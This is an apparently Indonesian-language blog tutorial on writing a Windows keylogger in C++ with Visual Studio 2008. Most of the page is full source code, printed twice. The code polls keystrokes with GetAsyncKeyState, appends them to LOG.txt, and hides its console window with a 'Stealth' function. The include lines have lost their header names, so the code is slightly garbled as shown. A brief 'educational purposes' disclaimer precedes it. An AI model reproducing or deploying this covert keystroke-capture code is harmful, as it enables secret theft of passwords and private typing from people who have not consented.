membuat keylogger di c + +

 
Tutorial ini akan mengajarkan Anda untuk membuat keylogger di c + + menggunakan vs 2008.
Hal ini juga dapat dilakukan di dev-c + +, CodeGear c + + builder.
Ini wil keylogger menyimpan log dari tombol yang ditekan pada HD.

Catatan: Tutorial ini adalah untuk tujuan pendidikan saja.
Hanya meletakkan keylogger pada komputer mana Anda mendapat izin.

Mari kita mulai.
++++++++++++++++++

Pertama kita perlu membuat sebuah proyek baru.
Klik pada 'File' > 'New' > 'Project'.
Sekarang pilih 'Win32 Console Application "dan pilih untuk nama" keylogger ".


Jika Anda mendapatkan klik 'Win32 Application Wizzard' pada 'Next' dan kemudian 'proyek Kosong' pilih di bawah 'Opsi tambahan' dan klik 'Finish'.

Anda harus memiliki proyek kosong sekarang.
Sekarang kita akan menambahkan sebuah file. Cpp.

Klik kanan pada 'Source File' dan mengambil 'Add' 'New Item'>.


Sekarang mengambil 'C + + File (cpp.) "Dan nama itu keylogger.

kemudian klik 'Add'.

Sekarang buka Keylogger.cpp dan Menulis ini di dalamnya:


#include     // These we need to
using namespace std;   // include to get our
#include    // Keylogger working.
#include    //
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
int main()
{
            Stealth(); // This will call the stealth function we will write later.
    char i; //Here we declare 'i' from the type 'char'
    while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
    {              // Note this is also the part that will increase your cpu usage
            for(i = 8; i <= 190; i++)
            {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");    // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
            }
    }
    system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)   // Here we define our save function that we declared before.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
            return 0;
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
  
    cout << key_stroke << endl;
            if (key_stroke == 8)  // The numbers stands for the ascii value of a character
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
            else if (key_stroke == 13)
            fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
            else if (key_stroke == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
            else if (key_stroke == VK_TAB)                        //VK stands for virtual key wich are the keys like Up arrow, down arrow..
            fprintf(OUTPUT_FILE, "%s", "[TAB]");
                    else if (key_stroke == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
                    else if (key_stroke == VK_CONTROL)
            fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                            else if (key_stroke == VK_ESCAPE)
            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                            else if (key_stroke == VK_END)
            fprintf(OUTPUT_FILE, "%s", "[END]");
                                    else if (key_stroke == VK_HOME)
            fprintf(OUTPUT_FILE, "%s", "[HOME]");
                                    else if (key_stroke == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                                            else if (key_stroke == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]");
                                            else if (key_stroke == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                                                    else if (key_stroke == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                                                    else if (key_stroke == 190 || key_stroke == 110)
            fprintf(OUTPUT_FILE, "%s", ".");
                                                    else
                                                            fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
    return 0;
}
/* *********************************** */
void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
            Stealth();
    char i;
    while (1)
    {
            for(i = 8; i <= 190; i++)
            {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
            }
    }
    system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
            return 0;
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;
            if (key_stroke == 8)
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
            else if (key_stroke == 13)
            fprintf(OUTPUT_FILE, "%s", "\n");
            else if (key_stroke == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
            else if (key_stroke == VK_TAB)                      
            fprintf(OUTPUT_FILE, "%s", "[TAB]");
                    else if (key_stroke == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
                    else if (key_stroke == VK_CONTROL)
            fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                            else if (key_stroke == VK_ESCAPE)
            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                            else if (key_stroke == VK_END)
            fprintf(OUTPUT_FILE, "%s", "[END]");
                                    else if (key_stroke == VK_HOME)
            fprintf(OUTPUT_FILE, "%s", "[HOME]");
                                    else if (key_stroke == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                                            else if (key_stroke == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]");
                                            else if (key_stroke == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                                                    else if (key_stroke == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                                                    else if (key_stroke == 190 || key_stroke == 110)
            fprintf(OUTPUT_FILE, "%s", ".");
                                                    else
                                                            fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
    return 0;
}
/* *********************************** */
void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}

Jadi, bagus, Anda menulis keylogger pertama Anda sendiri, nikmati.

0 komentar:

Posting Komentar

  • Digg
  • del.icio.us
  • StumbleUpon
  • Yahoo! Buzz
  • Technorati
  • Facebook
  • TwitThis
  • MySpace
  • LinkedIn
  • Google
  • Reddit
  • Netvibes
Design by eckoCS1Copyright © 2010 Baturaja Radio | Powered by Blogger